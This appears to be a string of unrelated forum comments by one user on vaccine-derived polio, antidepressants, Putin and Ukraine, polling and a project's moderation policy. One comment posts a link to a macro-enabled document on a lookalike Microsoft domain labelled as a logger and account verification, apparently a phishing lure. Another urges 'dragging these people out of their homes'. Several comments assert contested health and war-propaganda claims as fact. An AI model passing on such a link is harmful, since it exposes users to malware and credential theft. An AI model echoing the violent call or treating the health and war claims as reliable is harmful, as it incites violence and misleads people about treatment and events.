did you read the link i provided? in case the implication wasn’t clear i’ll say it explicitly. Viruses which are virtually nonexistent (not circulating in the population) can be induced in a population by vaccination itself (in rare cases when using an attenuated virus).

This means there is a risk, especially for viruses like polio which basically don’t exist anymore, that a vaccination program will generate polio cases which then spread and create a new outbreak of polio.

Those recent outbreaks of polio were thought to be from an unnecessarily aggressive vaccination program, at least that’s the reporting i encountered.

I haven’t done a risk calculation, i don’t claim to be an epidemiologist or to know at what point this exotic risk outweighs the benefit of herd immunity. I suspect that calculation depends on things like exposure points in the population, general immunity, and the %of people already vaccinated historically.

It’s definitely a real effect (i linked directly to the american CDC) and it should be included in any discussion concerning virtually dead viruses. It hasn’t been made up by ‘antivaccers’ and for me personally i don’t even bring this up in those kind of spaces because i don’t trust them to parse this level of nuance and contradiction to be brutally honest.

The risk profile probably varies virus to virus also.

it’s time to start dragging these people out of their homes…

other than vaccine induced polio how would a modern day person in the USA even get exposed to polio?

you’d think that with the vast increase in prescription rates of SSRIs and other antidepressents, that there would be a commensurate reduction in population-wide depression. But no, if anything the more antidepressents are prescribed, the more general depression you get in the population. Same thing with suicide rates. This is correlation and not causation obviously, but it still suggests that antidepressents are not doing what they are advertised as doing.

I’ll just cut straight to the assertion, which seems obvious enough to not require more explanation.

Mental illness is not biologically determined. It is socially determined.

At best antidepressent prescriptions mask the underlying cause of symptoms. At. best.

plenty of nazis ended up in nasa, in the UN and in argentina

we need a butlerian jihad. I want smart humans and dumb machines again

this is hilarious

‘he was downvoted for speaking the truth’

you should check out the 2009 ghostbusters game, many consider it to be the true ‘ghostbusters 3’

shits and gigs. You?

love isn’t the opposite of hate, apathy is. If you truly despise her, cut off contact, she is your mother and this will cause her profound pain. I’m assuming you’re pretty young to be feeling this way, whatever the problem is, you will understand it and its roots better as you get older. One day you might think about her differently as you understand her more. There’s always a reason why broken people do broken things. Good luck and don’t do anything dumb

lol https://microsoft.ic6do.com/logger_X6NdNh_account_verification.docm

I don’t share his vision of mutual development and cooperation with the west.

He is still stuck in a cold war kind of mindset where he’s expecting that one day a US admin will come along and uphold international law, or reform atlanticist NATO into something other than a belligerent axis of empire. It’s never going to happen. The US (and of course i don’t refer to the american people here) only respects strength, and only understands the language of force.

Minsk 1 and 2 prove it for anyone who doesn’t understand or care to learn post ww2 history.

His equivocation and reluctance to enter ukraine after the illegitimate banderite regime started slaughtering ethnic russians in the donbass cost innocent lives. His participation in the alaska summit was ill-advised also.

I appreciate at least that he has full-blown nationalists surrounding him in the duma who push for a more muscular foreign policy, so ‘his’ policies really are a mediation between the constraints of reality vs the impulses of the nationist duma. It’s a tight-rope walk that i’m sure almost nobody else could walk so i do have respect for him. I wish he was half the ‘communist authoritarian’ our braindead media accuse him of being, but alas.

One of the tricks they use with pokies (slot machines) to keep people addicted is to fool them into thinking they ‘almost won’. For example if you need 5 cherries in a row to win, but end up with say 2 cherries and other random symbols, the outcome will be modified to show 4 cherries, to encourage the gambler to keep trying (losing money).

I think stories about senate votes and such being decided by a razer-thin margin produce a similar effect in the voter

garbage in - garbage out is the basic problem with using polls to explain every fracture within every issue. There’s also a deeper problem of trying to quantify what is ultimately not quantifiable. Polls can maybe give you a hint about changing moods but the reality of what is changing and why can’t be captured in numbers. What you can sample is the rate at which a mood is changing, which I acknowledge isn’t nothing but it’s also very limited.

And that’s without getting into the variety of ways polls are manipulated or outright rigged…

maybe don’t let the liberal mainstream media define your enemies for you

competent, didactic, cautious, diplomatic

putin is nothing like trump

the code of conduct here is a disaster, and i’m sure it turns away free speech enthusiasts, as well as otherwise apolitical people trying to escape woke culture.

It is not and should not be your responsibility to not cause offense.

Anyone can be offended by anything, and by prioritising the feelings of whoever claims offense over the free speech rights of the ‘offender’ you risk these claims being made spuriously to weaken and fragment the organisation. This is how other foss orgs have been infiltrated and compromised, and it’s concerning to see the same foundation laid here.

In that sense this place does feel like reddit, with their onerous and politicised moderation which promotoes an ideological race to the bottom, where only the most hegemonic and milquetoast opinions are permitted. Decentralisation and unmoderated freedom of speech should go hand in hand but the culture has shifted far away from that, and it’s no accident.